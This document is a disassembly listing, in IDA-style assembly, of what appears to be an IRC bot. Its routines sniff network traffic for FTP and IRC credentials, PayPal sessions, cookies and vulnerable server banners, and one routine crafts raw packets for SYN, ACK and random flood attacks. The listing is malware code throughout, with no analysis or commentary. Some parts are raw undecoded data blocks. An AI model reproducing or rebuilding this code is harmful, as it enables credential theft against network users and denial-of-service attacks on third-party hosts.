		jnz	short loc_412F4A
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412EEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_413003	proc near		; CODE XREF: sub_4131EC+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41301D

loc_413019:				; CODE XREF: sub_413003+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41301D:				; CODE XREF: sub_413003+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413019
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413043

loc_41303F:				; CODE XREF: sub_413003+4Fj
					; sub_413003+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_413043:				; CODE XREF: sub_413003+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413003	endp


; =============== S U B	R O U T	I N E =======================================



sub_413079	proc near		; CODE XREF: sub_4131EC+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413093

loc_41308F:				; CODE XREF: sub_413079+29j
					; sub_413079+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_413093:				; CODE XREF: sub_413079+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset a220	; "220 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4130CA

loc_4130C6:				; CODE XREF: sub_413079+60j
					; sub_413079+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4130CA:				; CODE XREF: sub_413079+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413079	endp


; =============== S U B	R O U T	I N E =======================================



sub_413100	proc near		; CODE XREF: sub_4131EC+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41311A

loc_413116:				; CODE XREF: sub_413100+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41311A:				; CODE XREF: sub_413100+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413116
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413140

loc_41313C:				; CODE XREF: sub_413100+4Fj
					; sub_413100+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_413140:				; CODE XREF: sub_413100+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413100	endp


; =============== S U B	R O U T	I N E =======================================



sub_413187	proc near		; CODE XREF: sub_4131EC:loc_4135B1p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131A1

loc_41319D:				; CODE XREF: sub_413187+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4131A1:				; CODE XREF: sub_413187+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41319D
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131C7

loc_4131C3:				; CODE XREF: sub_413187+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4131C7:				; CODE XREF: sub_413187+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131C3
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413187	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131EC	proc near		; DATA XREF: sub_401ACD+42A0o

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CB9F8
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CBA68
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41CD20
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CBA64
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_413292
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_413292:				; CODE XREF: sub_4131EC+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CBA10
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413308
		call	dword_4CB978
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437880
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4132E4
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h

loc_4132E4:				; CODE XREF: sub_4131EC+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA7C
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 26F0000h
		nop

loc_413308:				; CODE XREF: sub_4131EC+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB990
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41338E
		call	dword_4CB978
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437850
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_41336A
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h

loc_41336A:				; CODE XREF: sub_4131EC+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA7C
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h

loc_41338E:				; CODE XREF: sub_4131EC+13Cj
		mov	esi, 200h

loc_413393:				; CODE XREF: sub_4131EC+1D6j
					; sub_4131EC+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CB9FC
		cmp	[ebp+var_113AF], 6
		jnz	short loc_413393
		push	[ebp+var_113A4]
		mov	edi, dword_4271CC
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_413393
		cmp	[ebp+arg_0], 19h
		jz	short loc_413393
		cmp	edi, 6Eh
		jz	short loc_413393
		cmp	edi, 19h
		jz	short loc_413393
		push	[ebp+var_113AC]
		call	sub_412EDD
		pop	ecx
		push	dword ptr [eax]
		call	near ptr 71AB401Ch
		nop
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+var_113A8]
		call	sub_412EDD
		add	esp, 10h
		push	dword ptr [eax]
		call	near ptr 71AB401Ch
		nop
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jle	short loc_413491

loc_41345D:				; CODE XREF: sub_4131EC+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_413474
		mov	byte ptr [eax],	20h

loc_413474:				; CODE XREF: sub_4131EC+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41347C
		mov	byte ptr [eax],	20h

loc_41347C:				; CODE XREF: sub_4131EC+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_41345D

loc_413491:				; CODE XREF: sub_4131EC+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_413544
		cmp	edi, 50h
		jz	loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412EEC
		test	al, al
		pop	ecx
		jz	short loc_4134D8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43781C
		jmp	loc_413573
; ---------------------------------------------------------------------------

loc_4134D8:				; CODE XREF: sub_4131EC+2C7j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413003
		test	al, al
		pop	ecx
		jz	short loc_41350E
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377E8
		jmp	short loc_413573
; ---------------------------------------------------------------------------

loc_41350E:				; CODE XREF: sub_4131EC+300j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413079
		test	al, al
		pop	ecx
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377B4
		jmp	short loc_413573
; ---------------------------------------------------------------------------

loc_413544:				; CODE XREF: sub_4131EC+2A9j
					; sub_4131EC+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413100
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_4135B1
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_43777C

loc_413573:				; CODE XREF: sub_4131EC+2E7j
					; sub_4131EC+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_413393
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h
		jmp	loc_413393
; ---------------------------------------------------------------------------

loc_4135B1:				; CODE XREF: sub_4131EC+36Ej
		call	sub_413187
		test	al, al
		pop	ecx
		jz	loc_413393
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_437744
		jmp	short loc_413573
sub_4131EC	endp

; ---------------------------------------------------------------------------
byte_4135DF	db 55h			; DATA XREF: sub_401ACD+6464o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 228D255h
		dd 8CA6E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 78AC68FFh, 0E8500043h, 8C1Eh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 0FAE8FFFFh, 83FFFF61h
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF804DE8h, 565959FFh, 0C96EE890h, 5E5F022Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413694	proc near		; CODE XREF: ___:00413A0Bp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB954
		test	eax, eax
		jz	short loc_4136D4
		xor	eax, eax
		jmp	loc_4139C7
; ---------------------------------------------------------------------------

loc_4136D4:				; CODE XREF: sub_413694+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA88
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4139BF
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CB9C4
		cmp	eax, 0FFFFFFFFh
		jz	loc_4139B5
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CB9E4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CB9E4
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CB9E4
		mov	[ebp+var_12], ax
		call	sub_41C2C2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB9E4
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CB9E0
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137A4
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------

loc_4137A4:				; CODE XREF: sub_413694+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137C0
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------

loc_4137C0:				; CODE XREF: sub_413694+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137F8
		call	sub_41C2C2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41C2C2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl

loc_4137F8:				; CODE XREF: sub_413694+10Ej
					; sub_413694+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CB9E4
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2790540h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 2790159h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx

loc_413846:				; CODE XREF: sub_413694+2E2j
					; sub_413694+2F0j
		mov	[ebp+var_4], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9E4
		mov	[ebp+var_14], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9E4
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9E0
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9E4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CBA48
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413989
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 2790159h
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4139B2
		jl	loc_413846
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4139B2
		jmp	loc_413846
; ---------------------------------------------------------------------------

loc_413989:				; CODE XREF: sub_413694+2CBj
		call	dword_4CB978
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4378D4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_4139B5
; ---------------------------------------------------------------------------

loc_4139B2:				; CODE XREF: sub_413694+2E0j
					; sub_413694+2EEj
		mov	ebx, [ebp+arg_8]

loc_4139B5:				; CODE XREF: sub_413694+78j
					; sub_413694+31Cj
		push	[ebp+var_20]
		call	dword_4CBA7C
		pop	esi

loc_4139BF:				; CODE XREF: sub_413694+5Bj
		call	dword_4CB93C
		mov	eax, ebx

loc_4139C7:				; CODE XREF: sub_413694+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_413694	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41C159
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_413694
		add	esp, 20h
		test	eax, eax
		jnz	short loc_413A1A
		push	1
		pop	eax

loc_413A1A:				; CODE XREF: ___:00413A15j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413A29	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6643o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CBA6415h, 0FFF88300h, 75FC4589h, 7815FF5Fh
		dd 50004CB9h, 0FC44858Dh, 0D468FFFFh, 50004379h, 87E9E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF5DC5h
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 1BE8C875h
		dd 59FFFF7Ch, 0E8905759h, 22DC53Ch, 6AF44D8Dh, 0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CB9C415h, 0FFF88300h, 15FF5D75h
		dd 4CB978h, 44858D50h, 68FFFFFCh, 4379A4h, 8770E850h, 0C4830000h
		dd 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h
		dd 50FFFFFFh, 0FE44B5FFh, 4EE8FFFFh, 83FFFF5Dh,	858D14C4h
		dd 0FFFFFC44h, 220EE850h, 75FF0000h, 7BA4E8C8h,	5959FFFFh
		dd 0C5E89057h, 8D022DC4h, 0FFFE4885h, 15FF50FFh, 4CBA24h
		dd 75FFF883h, 44858D55h, 68FFFFFCh, 437984h, 8708E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5CE7E8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF7B3DE8h
		dd 575959FFh, 2DC45FE8h, 106A9002h, 57E4458Dh, 83C2E850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0B9E415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 2415FF50h, 8B004CBAh,	4270B035h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0E75005C6h
		dd 0FF45004Ch, 4CB9E415h, 0D47D3900h, 0E752A366h, 8966004Ch
		dd 4CE7541Dh, 3D896600h, 4CE756h, 0E75805C6h, 8880004Ch
		dd 4CE7591Dh, 3D896600h, 4CE75Ah, 87E83074h, 8B000086h
		dd 8E3C1D8h, 867DE8h, 0C1D80300h, 73E808E3h, 3000086h
		dd 8E3C1D8h, 8669E8h, 6AD80300h, 5C1D8901h, 5B004CE7h
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF6D95E8h, 0FF5059FFh, 4CBA2415h
		dd 0E75CA300h, 458B004Ch, 0E760A3E8h, 37E8004Ch, 99000086h
		dd 100B9h, 88F9F700h, 4CE76415h, 8624E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CE765h, 8611E8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CE7663Dh, 1D896600h, 4CE76Ah, 15896642h
		dd 4CE768h, 85E9E8h, 0FFB99900h, 0F7000000h, 6C6852F9h
		dd 0E8004CE7h, 8284h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CE750h, 0FFFC75FFh, 4CBA4815h, 0FFF88300h
